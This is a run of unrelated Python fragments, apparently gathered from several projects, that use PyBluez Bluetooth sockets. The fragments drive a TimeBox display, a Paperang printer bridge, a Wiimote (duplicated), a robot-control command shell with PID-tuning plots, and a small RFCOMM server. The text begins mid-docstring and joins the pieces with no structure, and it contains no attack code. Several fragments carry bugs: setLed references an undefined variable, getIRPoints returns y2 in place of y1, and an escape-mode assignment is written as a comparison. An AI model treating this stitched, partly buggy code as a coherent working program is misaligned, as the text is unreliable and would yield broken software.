messaged between 0x01 and 0x02.""" msg = self.messages.make_message(payload) return self.socket.send(str(bytearray(msg))) def set_time(self, time=None): if not time: time=datetime.datetime.now() args = [] args.append(int(str(time.year)[2:])) args.append(int(str(time.year)[0:2])) args.append(int(time.month)) args.append(int(time.day)) args.append(int(time.hour)) args.append(int(time.minute)) args.append(int(time.second)) args.append(0) self.send_command("set date time", args) def send_command(self, command, args=None): """Send command with optional arguments""" if args is None: args = [] if isinstance(command, str): command = self.COMMANDS[command] length = len(args)+3 length_lsb = length & 0xff length_msb = length >> 8 payload = [length_lsb, length_msb, command] + args self.send_payload(payload) def decode(self, msg): """remove leading 1, trailing 2 and checksum and un-escape""" return self.messages.decode(msg) def has_message(self): """Check if there is a complete message *or leading garbage data* in the input buffer.""" if len(self.message_buf) == 0: return False if self.message_buf[0] != 0x01: return True endmarks = [x for x in self.message_buf if x == 0x02] return len(endmarks) > 0 def buffer_starts_with_garbage(self): """Check if the input buffer starts with data other than a message.""" if len(self.message_buf) == 0: return False return self.message_buf[0] != 0x01 def remove_garbage(self): """Remove data from the input buffer that is nof the start of a message.""" if not 0x01 in self.message_buf: pos = len(self.message_buf) else: pos = self.message_buf.index(0x01) res = self.message_buf[0:pos] self.message_buf = self.message_buf[pos:len(self.message_buf)] return res def remove_message(self): """Remove a message from the input buffer and return it. Assumes it has been checked that there is a complete message without leading garbage data""" if not 0x02 in self.message_buf: raise Exception('There is no message') pos = self.message_buf.index(0x02)+1 res = self.message_buf[0:pos] self.message_buf = self.message_buf[pos:len(self.message_buf)] return res def set_static_image(self, image): """Set the image on the TimeBox""" msg = self.messages.static_image_message(image) self.socket.send(str(bytearray((msg)))) def set_dynamic_images(self, images, frame_delay=1): """Set the image on the TimeBox""" fnum = 0 for img in images: msg = self.messages.dynamic_image_message(img, fnum, frame_delay) fnum = fnum + 1 self.socket.send(str(bytearray((msg)))) def show_temperature(self, color=None): """Show temperature on the TimeBox in Celsius""" args = [0x01, 0x00] if color: color = ImageColor.getrgb(color) args += list(color) self.send_command("set view", args) def show_clock(self, color=None): """Show clock on the TimeBox in the color""" args = [0x00, 0x01] if color: color = ImageColor.getrgb(color) args += list(color) self.send_command("set view", args)
class BluetoothConnection(object): def __init__(self): self.client_socket = None self.server_socket = None self.connected = False def createServer(self, port = 3): self.server_socket=BluetoothSocket( RFCOMM ) self.server_socket.bind(("", port)) self.server_socket.listen(1) print "Trying to connect.." self.client_socket, _ = self.server_socket.accept() print "Connected!" self.connected = True def createClient(self, address, port = 3): if address == "first": address = self.searchDevices()[0] self.client_socket=BluetoothSocket( RFCOMM ) print "Trying to connect.." self.client_socket.connect((address, port)) print "Connected!" self.connected = True def searchDevices(self): return discover_devices() def receiveData(self, bufsize = 1024): if self.connected: return self.client_socket.recv(bufsize) else: print "Not yet connected!" def sendFile(self, filename): f = open(filename, 'r') data = f.readlines() for line in data: self.sendData(line) f.close() def receiveFile(self, filename, bufsize = 4096): data = self.receiveData(bufsize) f = open(filename, 'w') f.writelines(data) f.flush() f.close() def sendData(self, data): if self.connected: self.client_socket.send(data) def closeConnection(self): if self.server_socket is not None: self.server_socket.close() self.client_socket.close() self.connected = False
class Bridge: serial_worker = None ser_to_bt = None intentional_exit = False in_packet = False packet = bytearray() def __init__(self, log, port=COM_PORT, baud=BAUD, address=PAPERANG_ADDR, uuid=UUID): self.host_port = COM_PORT self.address = address self.uuid = uuid self.host = serial.serial_for_url(COM_PORT, baudrate=baud, timeout=1, do_not_open= True) self.logging = log.logger def connect_host(self): try: self.host.open() except serial.SerialException as e: self.logging.error( 'Could not open serial port {}: {}\n'.format(self.host_port, e)) return False self.logging.info("Host connected.") return True def disconnect_host(self): self.host.close() self.logging.info("Host disconnected.") def scanservices(self): self.logging.info("Searching for services...") service_matches = find_service(uuid=self.uuid, address=self.address) valid_service = list(filter( lambda s: 'protocol' in s and 'name' in s and s[ 'protocol'] == 'RFCOMM' and s['name'] == b'Port\x00', service_matches )) if len(valid_service) == 0: self.logging.error("Cannot find valid services on device with MAC %s." % self.address) return False self.logging.info("Found a valid service on target device.") self.service = valid_service[0] return True def connect_device(self): if not self.scanservices(): self.logging.error('Not found valid service.') return False self.logging.info("Service found. Connecting to \"%s\" on %s..." % (self.service["name"], self.service["host"])) self.sock = BluetoothSocket(RFCOMM) self.sock.connect((self.service["host"], self.service["port"])) self.sock.settimeout(60) self.logging.info("Device connected.") return True def disconnect_device(self): try: self.sock.close() except: pass self.logging.info("Device disconnected.") def redirect_Serial2Bt_thread(self): # start thread to handle redirect host data to device self.ser_to_bt = SerialToBt(self.logging) self.ser_to_bt.socket = self.sock self.serial_worker = serial.threaded.ReaderThread(self.host, self.ser_to_bt) self.serial_worker.start() self.logging.info("Start to redirect host data to device ...") def get_packet(self, data): """Find data enclosed in START/STOP""" for d in data: byte = d.to_bytes(1, 'little') if byte == PKT_START: self.in_packet = True elif byte == PKT_STOP: self.in_packet = False self.logging.info( 'Device2Host Packet: 02{}03'.format(self.packet.hex())) del self.packet[:] elif self.in_packet: self.packet.extend(byte) else: # data that is received outside of packets pass def redirect_Bt2Serial(self): self.logging.info("Start to redirect device data to host ...") device_socket = self.sock self.intentional_exit = False try: # enter network <-> serial loop while not self.intentional_exit: try: data = device_socket.recv(MAX_RECV_LEN) if not data: break # get a bunch of bytes and send them self.logging.debug('Device2Host Data: {}'.format(data.hex())) self.get_packet(data) self.host.write(data) except BluetoothError as msg: self.logging.error('ERROR: {}\n'.format(msg)) # probably got disconnected break except KeyboardInterrupt: self.intentional_exit = True raise def enable(self): self.connect_host() if not self.connect_device(): return self.redirect_Serial2Bt_thread() self.redirect_Bt2Serial() def disable(self): self.intentional_exit = True self.ser_to_bt.socket = None self.disconnect_host() self.serial_worker.stop() self.disconnect_device()
class Wiimote: def __init__(self, addr): self._addr = addr self._inSocket = BluetoothSocket(L2CAP) self._outSocket = BluetoothSocket(L2CAP) self._connected = False def __del__(self): self.disconnect() def _send(self, *data, **kwargs): check_connection = True if "check_connection" in kwargs: check_connection = kwargs["check_connection"] if check_connection and not self._connected: raise IOError("No wiimote is connected") self._inSocket.send("".join(map(chr, data))) def disconnect(self): if self._connected: self._inSocket.close() self._outSocket.close() self._connected = False def connect(self, timeout=0): if self._connected: return None self._inSocket.connect((self._addr, 0x13)) self._outSocket.connect((self._addr, 0x11)) self._inSocket.settimeout(timeout) self._outSocket.settimeout(timeout) # TODO give the choice of the mode to the user # Set the mode of the data reporting of the Wiimote with the last byte of this sending # 0x30 : Only buttons (2 bytes) # 0x31 : Buttons and Accelerometer (3 bytes) # 0x32 : Buttons + Extension (8 bytes) # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes) # 0x34 : Buttons + Extension (19 bytes) # 0x35 : Buttons + Accel + Extension (16 bytes) # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes) # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes) # 0x3d : Extension (21 bytes) # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit. self._send(0x52, 0x12, 0x00, 0x33, check_connection=False) # Enable the IR camera # Enable IR Camera (Send 0x04 to Output Report 0x13) # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a) # Write 0x08 to register 0xb00030 # Write Sensitivity Block 1 to registers at 0xb00000 # Write Sensitivity Block 2 to registers at 0xb0001a # Write Mode Number to register 0xb00033 # Write 0x08 to register 0xb00030 (again) # Put a sleep of 50ms to avoid a bad configuration of the IR sensor # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41 # Sensitivity Block 2 is : 40 00 # The mode number is 1 if there is 10 bytes for the IR. # The mode number is 3 if there is 12 bytes for the IR. # The mode number is 5 if there is 36 bytes for the IR. time.sleep(0.050) self._send(0x52, 0x13, 0x04, check_connection=False) time.sleep(0.050) self._send(0x52, 0x1A, 0x04, check_connection=False) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x06, 1, 0x90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x08, 1, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x1A, 1, 0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x33, 1, 0x03, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) time.sleep(0.050) self._send( 0x52, 0x16, 0x04, 0xB0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False, ) self._connected = True def vibrate(self, duration=1): self._send(0x52, 0x15, 0x01) time.sleep(duration) self._send(0x52, 0x15, 0x00) def setLed(self, binary): self._send(0x52, 0x11, int(n << 4)) def _getData(self, check_connection=True): if check_connection and not self._connected: raise IOError("No wiimote is connected") data = self._inSocket.recv(19) if len(data) != 19: raise IOError("Impossible to receive all data") return list(map(ord, data)) def _checkButton(self, bit, mask): return self._getData()[bit] & mask != 0 def buttonAPressed(self): return self._checkButton(3, 0x08) def buttonBPressed(self): return self._checkButton(3, 0x04) def buttonUpPressed(self): return self._checkButton(2, 0x08) def buttonDownPressed(self): return self._checkButton(2, 0x04) def buttonLeftPressed(self): return self._checkButton(2, 0x01) def buttonRightPressed(self): return self._checkButton(2, 0x02) def buttonPlusPressed(self): return self._checkButton(2, 0x10) def buttonMinusPressed(self): return self._checkButton(3, 0x10) def buttonHomePressed(self): return self._checkButton(3, 0x80) def buttonOnePressed(self): return self._checkButton(3, 0x02) def buttonTwoPressed(self): return self._checkButton(3, 0x01) # 0x80 means no movement def getAcceleration(self): d = self._getData() ax = d[4] << 2 | d[2] & (0x20 | 0x40) ay = d[5] << 1 | d[3] & 0x20 az = d[6] << 1 | d[3] & 0x40 return (ax, ay, az) def getIRPoints(self): d = self._getData() x1 = d[7] | ((d[9] & (0b00110000)) << 4) y1 = d[8] | ((d[9] & (0b11000000)) << 2) i1 = d[9] & 0b00001111 x2 = d[10] | ((d[12] & (0b00110000)) << 4) y2 = d[11] | ((d[12] & (0b11000000)) << 2) i2 = d[12] & 0b00001111 x3 = d[13] | ((d[15] & (0b00110000)) << 4) y3 = d[14] | ((d[15] & (0b11000000)) << 2) i3 = d[15] & 0b00001111 x4 = d[16] | ((d[18] & (0b00110000)) << 4) y4 = d[17] | ((d[18] & (0b11000000)) << 2) i4 = d[18] & 0b00001111 return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
class Wiimote: def __init__(self, addr): self._addr = addr self._inSocket = BluetoothSocket(L2CAP) self._outSocket = BluetoothSocket(L2CAP) self._connected = False def __del__(self): self.disconnect() def _send(self, *data, **kwargs): check_connection = True if 'check_connection' in kwargs: check_connection = kwargs['check_connection'] if check_connection and not self._connected: raise IOError('No wiimote is connected') self._inSocket.send(''.join(map(chr, data))) def disconnect(self): if self._connected: self._inSocket.close() self._outSocket.close() self._connected = False def connect(self, timeout=0): if self._connected: return None self._inSocket.connect((self._addr, 0x13)) self._outSocket.connect((self._addr, 0x11)) self._inSocket.settimeout(timeout) self._outSocket.settimeout(timeout) # TODO give the choice of the mode to the user # Set the mode of the data reporting of the Wiimote with the last byte of this sending # 0x30 : Only buttons (2 bytes) # 0x31 : Buttons and Accelerometer (3 bytes) # 0x32 : Buttons + Extension (8 bytes) # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes) # 0x34 : Buttons + Extension (19 bytes) # 0x35 : Buttons + Accel + Extension (16 bytes) # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes) # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes) # 0x3d : Extension (21 bytes) # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit. self._send(0x52, 0x12, 0x00, 0x33, check_connection=False) # Enable the IR camera # Enable IR Camera (Send 0x04 to Output Report 0x13) # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a) # Write 0x08 to register 0xb00030 # Write Sensitivity Block 1 to registers at 0xb00000 # Write Sensitivity Block 2 to registers at 0xb0001a # Write Mode Number to register 0xb00033 # Write 0x08 to register 0xb00030 (again) # Put a sleep of 50ms to avoid a bad configuration of the IR sensor # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41 # Sensitivity Block 2 is : 40 00 # The mode number is 1 if there is 10 bytes for the IR. # The mode number is 3 if there is 12 bytes for the IR. # The mode number is 5 if there is 36 bytes for the IR. time.sleep(0.050) self._send(0x52, 0x13, 0x04, check_connection=False) time.sleep(0.050) self._send(0x52, 0x1a, 0x04, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x06, 1, 0x90, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x08, 1, 0x41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x1a, 1, 0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x33, 1, 0x03, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) time.sleep(0.050) self._send(0x52, 0x16, 0x04, 0xb0, 0x00, 0x30, 1, 0x08, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, check_connection=False) self._connected = True def vibrate(self, duration=1): self._send(0x52, 0x15, 0x01) time.sleep(duration) self._send(0x52, 0x15, 0x00) def setLed(self, binary): self._send(0x52, 0x11, int(n << 4)) def _getData(self, check_connection=True): if check_connection and not self._connected: raise IOError('No wiimote is connected') data = self._inSocket.recv(19) if len(data) != 19: raise IOError('Impossible to receive all data') return list(map(ord, data)) def _checkButton(self, bit, mask): return self._getData()[bit] & mask != 0 def buttonAPressed(self): return self._checkButton(3, 0x08) def buttonBPressed(self): return self._checkButton(3, 0x04) def buttonUpPressed(self): return self._checkButton(2, 0x08) def buttonDownPressed(self): return self._checkButton(2, 0x04) def buttonLeftPressed(self): return self._checkButton(2, 0x01) def buttonRightPressed(self): return self._checkButton(2, 0x02) def buttonPlusPressed(self): return self._checkButton(2, 0x10) def buttonMinusPressed(self): return self._checkButton(3, 0x10) def buttonHomePressed(self): return self._checkButton(3, 0x80) def buttonOnePressed(self): return self._checkButton(3, 0x02) def buttonTwoPressed(self): return self._checkButton(3, 0x01) # 0x80 means no movement def getAcceleration(self): d = self._getData() ax = d[4] << 2 | d[2] & (0x20 | 0x40) ay = d[5] << 1 | d[3] & 0x20 az = d[6] << 1 | d[3] & 0x40 return (ax, ay, az) def getIRPoints(self): d = self._getData() x1 = d[7] | ((d[9] & (0b00110000)) << 4) y1 = d[8] | ((d[9] & (0b11000000)) << 2) i1 = d[9] & 0b00001111 x2 = d[10] | ((d[12] & (0b00110000)) << 4) y2 = d[11] | ((d[12] & (0b11000000)) << 2) i2 = d[12] & 0b00001111 x3 = d[13] | ((d[15] & (0b00110000)) << 4) y3 = d[14] | ((d[15] & (0b11000000)) << 2) i3 = d[15] & 0b00001111 x4 = d[16] | ((d[18] & (0b00110000)) << 4) y4 = d[17] | ((d[18] & (0b11000000)) << 2) i4 = d[18] & 0b00001111 return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
class Interp(cmd.Cmd): prompt = "balitronics > " def __init__(self, tty=None, baudrate=38400, addr='98:D3:31:70:13:AB', port=1): cmd.Cmd.__init__(self) self.escape = "\x01" # C-a self.quitraw = "\x02" # C-b self.serial_logging = False self.default_in_log_file = "/tmp/eurobotics.in.log" self.default_out_log_file = "/tmp/eurobotics.out.log" self.ser = None if (tty is not None): self.ser = serial.Serial(tty, baudrate=baudrate) else: self.rfcomm = BluetoothSocket(RFCOMM) self.rfcomm.connect((addr, port)) self.rfcomm.settimeout(0.01) def do_quit(self, args): if self.ser is None: self.rfcomm.close() return True def do_log(self, args): """Activate serial logs. log <filename> logs input and output to <filename> log <filein> <fileout> logs input to <filein> and output to <fileout> log logs to /tmp/eurobotics.log or the last used file""" if self.serial_logging: log.error("Already logging to %s and %s" % (self.ser.filein, self.ser.fileout)) else: self.serial_logging = True files = [os.path.expanduser(x) for x in args.split()] if len(files) == 0: files = [self.default_in_log_file, self.default_out_log_file] elif len(files) == 1: self.default_in_log_file = files[0] self.default_out_log_file = None elif len(files) == 2: self.default_in_log_file = files[0] self.default_out_log_file = files[1] else: print("Can't parse arguments") self.ser = SerialLogger(self.ser, *files) log.info("Starting serial logging to %s and %s" % (self.ser.filein, self.ser.fileout)) def do_unlog(self, args): if self.serial_logging: log.info("Stopping serial logging to %s and %s" % (self.ser.filein, self.ser.fileout)) self.ser = self.ser.ser self.serial_logging = False else: log.error("No log to stop") def do_raw_tty(self, args): "Switch to RAW mode" stdin = os.open("/dev/stdin", os.O_RDONLY) stdout = os.open("/dev/stdout", os.O_WRONLY) stdin_termios = termios.tcgetattr(stdin) raw_termios = stdin_termios[:] try: log.info("Switching to RAW mode") # iflag raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT | termios.PARMRK | termios.ISTRIP | termios.INLCR | termios.IGNCR | termios.ICRNL | termios.IXON) # oflag raw_termios[1] &= ~termios.OPOST # cflag raw_termios[2] &= ~(termios.CSIZE | termios.PARENB) raw_termios[2] |= termios.CS8 # lflag raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON | termios.ISIG | termios.IEXTEN) termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios) mode = "normal" while True: ins, outs, errs = select([stdin, self.ser], [], []) for x in ins: if x == stdin: c = os.read(stdin, 1) if mode == "escape": mode == "normal" if c == self.escape: self.ser.write(self.escape) elif c == self.quitraw: return else: self.ser.write(self.escape) self.ser.write(c) else: if c == self.escape: mode = "escape" else: self.ser.write(c) elif x == self.ser: os.write(stdout, self.ser.read(1)) finally: termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios) log.info("Back to normal mode") def do_tm_rfcomm(self, args): self.rfcomm.settimeout(1.) self.rfcomm.send("event power off\n\r") time.sleep(0.1) self.rfcomm.send("event tm on\n\r") t1 = t2 = time.time() self.rfcomm.settimeout(0.01) received = self.rfcomm.recv(1) while t2 - t1 < 1: try: self.rfcomm.settimeout(0.01) #received.append(self.rfcomm.recv(1024)) received += self.rfcomm.recv(1024) except BluetoothError as error: if str(error) != 'timed out': raise t2 = time.time() self.rfcomm.send("event tm on\n\r") time.sleep(0.1) print(received) def do_tm_test(self, args): self.rfcomm.settimeout(1.) self.rfcomm.send("\n\revent tm on\n\r") self.rfcomm.settimeout(0.1) #self.rfcomm.settimeout(None) # set blocking True #self.rfcomm.settimeout(0.0) # set blocking False time.sleep(5) t1 = time.time() while time.time() - t1 < 10: try: received = self.rfcomm.recv(4096) print("rx", len(received)) received = 0 #except BluetoothError as error: except: raise #if str(error) != 'timed out': # raise #if str(error) != 'Resource temporarily unavailable': # raise def do_raw_rfcomm(self, args): "Switch to RAW mode" stdin = os.open("/dev/stdin", os.O_RDONLY) stdout = os.open("/dev/stdout", os.O_WRONLY) stdin_termios = termios.tcgetattr(stdin) raw_termios = stdin_termios[:] try: log.info("Switching to RAW mode") # iflag raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT | termios.PARMRK | termios.ISTRIP | termios.INLCR | termios.IGNCR | termios.ICRNL | termios.IXON) # oflag raw_termios[1] &= ~termios.OPOST # cflag raw_termios[2] &= ~(termios.CSIZE | termios.PARENB) raw_termios[2] |= termios.CS8 # lflag raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON | termios.ISIG | termios.IEXTEN) termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios) #i = 0 mode = "normal" while True: #ins,outs,errs=select([stdin,self.ser],[],[]) ins, outs, errs = select([stdin, self.rfcomm], [], []) for x in ins: if x == stdin: c = os.read(stdin, 1) if mode == "escape": mode == "normal" if c == self.escape: #self.ser.write(self.escape) self.rfcomm.settimeout(1.) self.rfcomm.send(self.escape) elif c == self.quitraw: return else: #self.ser.write(self.escape) #self.ser.write(c) self.rfcomm.settimeout(1.) self.rfcomm.send(self.escape) else: if c == self.escape: mode = "escape" else: #time.sleep(0.1) #self.ser.write(c) self.rfcomm.settimeout(1.) self.rfcomm.send(c) #elif x == self.ser: elif x == self.rfcomm: #os.write(stdout,self.ser.read()) #self.rfcomm.settimeout(0.01) #os.write(stdout,self.rfcomm.recv(1022)) try: self.rfcomm.settimeout(0.0) # set blocking False received = self.rfcomm.recv(4096) os.write(stdout, received) except: pass #except BluetoothError as error: # if str(error) != 'timed out': # raise finally: termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios) log.info("Back to normal mode") def do_centrifugal(self, args): try: sa, sd, aa, ad = [int(x) for x in shlex.shlex(args)] except: print("args: speed_a, speed_d, acc_a, acc_d") return print(sa, sd, aa, ad) time.sleep(10) self.ser.write("traj_speed angle %d\n" % (sa)) time.sleep(0.1) self.ser.write("traj_speed distance %d\n" % (sd)) time.sleep(0.1) self.ser.write("traj_acc angle %d\n" % (aa)) time.sleep(0.1) self.ser.write("traj_acc distance %d\n" % (ad)) time.sleep(0.1) self.ser.write("goto da_rel 800 180\n") time.sleep(3) self.ser.flushInput() self.ser.write("position show\n") time.sleep(1) print(self.ser.read()) def do_traj_acc(self, args): try: name, acc = [x for x in shlex.shlex(args)] except: print("args: cs_name acc") return acc = int(acc) self.ser.flushInput() self.ser.write("quadramp %s %d %d 0 0\n" % (name, acc, acc)) time.sleep(1) print(self.ser.read()) def do_traj_speed(self, args): try: name, speed = [x for x in shlex.shlex(args)] except: print("args: cs_name speed") return speed = int(speed) self.ser.flushInput() self.ser.write("traj_speed %s %d\n" % (name, speed)) time.sleep(1) print(self.ser.read()) def do_hc05_stress(self, args): #self.ser.flushInput() #self.ser.flushInput() for i in range(1000): for j in range(9): self.rfcomm.settimeout(1.) self.rfcomm.send(str(j)) #print(str(i)+'\n')) data = '' for i in range(1000): for j in range(9): data += self.rfcomm.recv(1) for i in range(1000): for j in range(9): print(data[i]) def do_tune(self, args): try: name, tlog, cons, gain_p, gain_i, gain_d = [ x for x in shlex.shlex(args) ] except: print("args: cs_name, time_ms, consigne, gain_p, gain_i, gain_d") return # Test parameters tlog = float(tlog) / 1000.0 cons = int(cons) gain_p = int(gain_p) gain_i = int(gain_i) gain_d = int(gain_d) #print(name, cons, gain_p, gain_i, gain_d) # Set position, gains, set tm on and goto consign self.ser.flushInput() self.ser.write("position set 1500 1000 0\n") time.sleep(0.1) if name == "d": self.ser.write("gain distance %d %d %d\n" % (gain_p, gain_i, gain_d)) time.sleep(0.1) self.ser.write("echo off\n") #time.sleep(2) #print(self.ser.read()) print("goto d_rel %d\n" % (cons)) self.ser.write("event tm on\n") self.ser.flushInput() time.sleep(0.1) self.ser.write("goto d_rel %d\n" % (cons)) elif name == "a": self.ser.write("gain angle %d %d %d\n" % (gain_p, gain_i, gain_d)) time.sleep(0.1) self.ser.write("echo off\n") #time.sleep(2) #print(self.ser.read()) print("goto d_rel %d\n" % (cons)) self.ser.write("event tm on\n") self.ser.flushInput() time.sleep(0.1) self.ser.write("goto a_rel %d\n" % (cons)) else: print("unknow cs name") return # Telemetry reading tm_data = '' t1 = time.time() self.ser.flushInput() while True: tm_data += self.ser.read() # Break after test time t2 = time.time() if tlog and (t2 - t1) >= tlog: tlog = 0 self.ser.write("\n\r") time.sleep(0.1) self.ser.write("event tm off\n") self.ser.write("echo on\n") time.sleep(2) self.ser.flushInput() time.sleep(2) self.ser.flushInput() break # Telemetry parser i = 0 time_ms = np.zeros(0) cons = f_cons = err = feedback = out = np.zeros(0) v_cons = v_feedback = np.zeros(1) a_cons = a_feedback = a_cons = a_feedback = np.zeros(2) TM_HEAD_BYTE_0 = '\xFB' TM_HEAD_BYTE_1 = '\xBF' TM_TAIL_BYTE_0 = '\xED' TM_SIZE = 48 TM_STRUCT = 'IiiiiiiiiiiBB' head = TM_HEAD_BYTE_0 + TM_HEAD_BYTE_1 tm_packets = tm_data.split(head) #print(tm_packets)) for data in tm_packets: if data[-1] == TM_TAIL_BYTE_0 and len(data) == (TM_SIZE - 2): tm_data = unpack(TM_STRUCT, data) #print(tm_data, type(tm_data))) time_ms = np.append(time_ms, tm_data[0]) #cons = np.append(cons, tm_data[1]) #f_cons = np.append(f_cons, tm_data[2]) #err = np.append(err, tm_data[3]) #feedback = np.append(feedback, tm_data[4]) #out = np.append(out, tm_data[5]) cons = np.append(cons, tm_data[6]) f_cons = np.append(f_cons, tm_data[7]) err = np.append(err, tm_data[8]) feedback = np.append(feedback, tm_data[9]) out = np.append(out, tm_data[10]) if i > 0: v_cons = np.append(v_cons, (f_cons[i] - f_cons[i - 1]) / (time_ms[i] - time_ms[i - 1])) v_feedback = np.append(v_feedback, (feedback[i] - feedback[i - 1]) / (time_ms[i] - time_ms[i - 1])) if i > 1: a_cons = np.append(a_cons, (v_cons[i] - v_cons[i - 1]) / (time_ms[i] - time_ms[i - 1])) a_feedback = np.append( a_feedback, (v_feedback[i] - v_feedback[i - 1]) / (time_ms[i] - time_ms[i - 1])) i += 1 # Telemetry stuff """ # Telemetry parsing t1 = time.time() while True: # Break after test time t2 = time.time() if tlog and (t2 - t1) >= tlog: tlog = 0 self.ser.write("event tm off\n") break # read log data time.sleep(TS/10000.0) line = self.ser.readline() tm_data = struct.struct('Iiiiiiiiiiic') print(line) #m = re.match("(-?\+?\d+).(-?\+?\d+): \((-?\+?\d+),(-?\+?\d+),(-?\+?\d+)\) " # "%s cons= (-?\+?\d+) fcons= (-?\+?\d+) err= (-?\+?\d+) " # "in= (-?\+?\d+) out= (-?\+?\d+)"%(name), line) m = re.match("%s (\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+)"%(name), line) # data logging if m: #print(line) #print(m.groups()) t = np.append(t, i*TS) time_ms = np.append(time_ms, int(m.groups()[0])) cons = np.append(cons, int(m.groups()[1])) f_cons = np.append(f_cons, int(m.groups()[2])) err = np.append(err, int(m.groups()[3])) feedback = np.append(feedback, int(m.groups()[4])) out = np.append(out, int(m.groups()[5])) if i>0: v_cons = np.append(v_cons, (f_cons[i] - f_cons[i-1])/(time_ms[i]-time_ms[i-1])) v_feedback = np.append(v_feedback, (feedback[i] - feedback[i-1])/(time_ms[i]-time_ms[i-1])) if i>1: a_cons = np.append(a_cons, (v_cons[i] - v_cons[i-1])/(time_ms[i]-time_ms[i-1])) a_feedback = np.append(a_feedback, (v_feedback[i] - v_feedback[i-1])/(time_ms[i]-time_ms[i-1])) i += 1 continue # trajectory end m = re.match("returned", line) if m: print(line.rstrip()) """ time_ms = time_ms - time_ms[0] plt.figure(1) plt.subplot(311) plt.plot(time_ms, v_cons, '.-', label="consigna") plt.plot(time_ms, v_feedback, '.-', label="feedback") plt.ylabel('v (pulsos/Ts)') plt.grid(True) plt.legend() plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d)) plt.subplot(312) plt.plot(time_ms, a_cons, '.-', label="consigna") plt.plot(time_ms, a_feedback, '.-', label="feedback") plt.ylabel('a (pulsos/Ts^2)') plt.grid(True) plt.legend() plt.subplot(313) plt.plot(time_ms, out, '.-') plt.xlabel('t (ms)') plt.ylabel('u (cuentas)') plt.grid(True) plt.figure(2) plt.subplot(311) plt.plot(time_ms, f_cons - feedback[0], '.-', label="consigna") plt.plot(time_ms, feedback - feedback[0], '.-', label="feedback") plt.ylabel('posicion (pulsos)') plt.grid(True) plt.legend() plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d)) plt.subplot(312) plt.plot(time_ms, err, '.-') plt.xlabel('t (ms)') plt.ylabel('error (pulsos)') plt.grid(True) plt.subplot(313) plt.plot(time_ms, out, '.-') plt.xlabel('t (ms)') plt.ylabel('u (cuentas)') plt.grid(True) plt.show()
server_sock = BluetoothSocket(RFCOMM) server_sock.bind(("", PORT_ANY)) server_sock.listen(1) port = server_sock.getsockname()[1] uuid = "a140ff7b-6539-40fe-9481-671108c144d6" advertise_service(server_sock, "PenPi Service", uuid) print("Waiting for connection on RFCOMM channel %d" % port) client_sock, client_info = server_sock.accept() print("Accepted connection from ", client_info) try: while True: data = client_sock.recv(1024) if len(data) == 0: break print("received [%s]" % data) except IOError: pass print("disconnected") client_sock.close() server_sock.close() print("all done")
